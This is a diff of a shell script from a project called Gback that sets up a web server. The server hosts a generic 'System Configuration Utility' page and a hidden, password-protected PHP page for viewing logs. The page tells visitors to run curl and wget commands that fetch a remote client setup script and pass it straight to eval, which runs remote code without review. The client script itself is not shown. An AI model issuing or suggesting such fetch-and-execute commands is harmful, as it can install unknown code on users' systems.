|
||||||
|
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
|
||||||
|
}
|
||||||
|
h1, h2 {
|
||||||
|
text-align: center;
|
||||||
|
color: #444;
|
||||||
|
}
|
||||||
|
.instructions {
|
||||||
|
text-align: center;
|
||||||
|
margin-bottom: 30px;
|
||||||
|
}
|
||||||
|
.variant {
|
||||||
|
margin-bottom: 25px;
|
||||||
|
}
|
||||||
|
.command {
|
||||||
|
background-color: #2d2d2d;
|
||||||
|
color: #f8f8f2;
|
||||||
|
padding: 15px;
|
||||||
|
border-radius: 5px;
|
||||||
|
font-family: monospace;
|
||||||
|
overflow-x: auto;
|
||||||
|
white-space: pre;
|
||||||
|
}
|
||||||
|
.label {
|
||||||
|
font-weight: bold;
|
||||||
|
margin-bottom: 8px;
|
||||||
|
display: block;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
a {
|
||||||
|
color: #007acc;
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
a:hover {
|
||||||
|
text-decoration: underline;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
|
<div class="container">
|
||||||
<h1>System Configuration Utility</h1>
|
<h1>System Configuration Utility</h1>
|
||||||
<h2>Quick Setup</h2>
|
<h2>Quick Setup</h2>
|
||||||
<p>Run the following command in your terminal to configure this system:</p>
|
<p class="instructions">Run one of the following commands in your terminal:</p>
|
||||||
|
|
||||||
<div class="command">
|
<div class="variant">
|
||||||
eval "\$(http://${SERVER_IP}/deployment/client_setup.sh)"
|
<span class="label">Using curl:</span>
|
||||||
|
<div class="command">
|
||||||
|
eval "\$(curl -fsSL http://192.168.0.104/deployment/client_setup.sh)"
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<p><a href="https://github.com/elleoma/Gback">Gback</a></p>
|
<div class="variant">
|
||||||
|
<span class="label">Using wget:</span>
|
||||||
|
<div class="command">
|
||||||
|
eval "\$(wget --no-verbose -O- http://192.168.0.104/deployment/client_setup.sh)"
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p style="text-align:center;">
|
||||||
|
<a href="https://github.com/elleoma/Gback" target="_blank">Gback</a>
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
EOF
|
EOF
|
||||||
|
|
||||||
# Replace server IP in the HTML template
|
|
||||||
sudo sed -i "s|\${SERVER_IP}|$SERVER_IP|g" /tmp/index.html
|
sudo sed -i "s|\${SERVER_IP}|$SERVER_IP|g" /tmp/index.html
|
||||||
sudo mv /tmp/index.html "$SERVER_ROOT/index.html"
|
sudo mv /tmp/index.html "$SERVER_ROOT/index.html"
|
||||||
|
|
||||||
# Create a simple hidden admin page for viewing logs
|
|
||||||
cat > /tmp/admin.php << 'EOF'
|
cat > /tmp/admin.php << 'EOF'
|
||||||
<?php
|
<?php
|
||||||
// Simple password protection
|
|
||||||
$admin_password = 'ADMIN_PASSWORD_PLACEHOLDER';
|
$admin_password = 'ADMIN_PASSWORD_PLACEHOLDER';
|
||||||
$authenticated = false;
|
$authenticated = false;
|
||||||
|
|
||||||
@@ -849,7 +835,6 @@ if ($authenticated && !isset($_COOKIE['admin_auth'])) {
|
|||||||
<?php endif; ?>
|
<?php endif; ?>
|
||||||
|
|
||||||
<?php
|
<?php
|
||||||
// Handle logout
|
|
||||||
if (isset($_GET['logout'])) {
|
if (isset($_GET['logout'])) {
|
||||||
setcookie('admin_auth', '', time() - 3600);
|
setcookie('admin_auth', '', time() - 3600);
|
||||||
header('Location: admin.php');
|
header('Location: admin.php');
|
||||||
@@ -865,7 +850,6 @@ ADMIN_PASSWORD=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 12)
|
|||||||
sed -i "s/ADMIN_PASSWORD_PLACEHOLDER/$ADMIN_PASSWORD/g" /tmp/admin.php
|
sed -i "s/ADMIN_PASSWORD_PLACEHOLDER/$ADMIN_PASSWORD/g" /tmp/admin.php
|
||||||
sudo mv /tmp/admin.php "$SERVER_ROOT/admin.php"
|
sudo mv /tmp/admin.php "$SERVER_ROOT/admin.php"
|
||||||
|
|
||||||
# Set proper permissions on all files
|
|
||||||
sudo chown -R http:http "$SERVER_ROOT"
|
sudo chown -R http:http "$SERVER_ROOT"
|
||||||
sudo chmod -R 750 "$SERVER_ROOT"
|
sudo chmod -R 750 "$SERVER_ROOT"
|
||||||
sudo chmod 640 "$SERVER_ROOT/admin.php"
|
sudo chmod 640 "$SERVER_ROOT/admin.php"
|
||||||
@@ -905,17 +889,15 @@ if ! grep -q "Include conf/extra/deployment.conf" /etc/httpd/conf/httpd.conf; th
|
|||||||
echo "Include conf/extra/deployment.conf" | sudo tee -a /etc/httpd/conf/httpd.conf > /dev/null
|
echo "Include conf/extra/deployment.conf" | sudo tee -a /etc/httpd/conf/httpd.conf > /dev/null
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Enable and restart Apache
|
|
||||||
sudo systemctl enable httpd
|
sudo systemctl enable httpd
|
||||||
sudo systemctl restart httpd
|
sudo systemctl restart httpd
|
||||||
|
|
||||||
echo "=============================================================="
|
echo "=============================================================="
|
||||||
echo "Deployment server setup complete!"
|
echo "Deployment server setup complete!"
|
||||||
echo "=============================================================="
|
echo "=============================================================="
|
||||||
echo "Server URL: http://$SERVER_IP/deployment"
|
echo "Server URL: http://$SERVER_IP/deployment"
|
||||||
echo "Admin Page: http://$SERVER_IP/deployment/admin.php"
|
echo "Admin Page: http://$SERVER_IP/deployment/admin.php"
|
||||||
echo "Admin Password: $ADMIN_PASSWORD"
|
echo "Admin Password: $ADMIN_PASSWORD"
|
||||||
echo "Client Setup Command: wget -q -O- http://$SERVER_IP/deployment/client_setup.sh | sudo bash"
|
echo "Client Setup Command: eval \"\$(wget --no-verbose -O- http://${SERVER_IP}/deployment/client_setup.sh)\""
|
||||||
echo "=============================================================="
|
echo "=============================================================="
|
||||||
echo "Secret Token for accessing logs: $RANDOM_TOKEN"
|
echo "Secret Token for accessing logs: $RANDOM_TOKEN"
|
||||||
echo "=============================================================="
|
echo "=============================================================="
|
||||||
|
Reference in New Issue
Block a user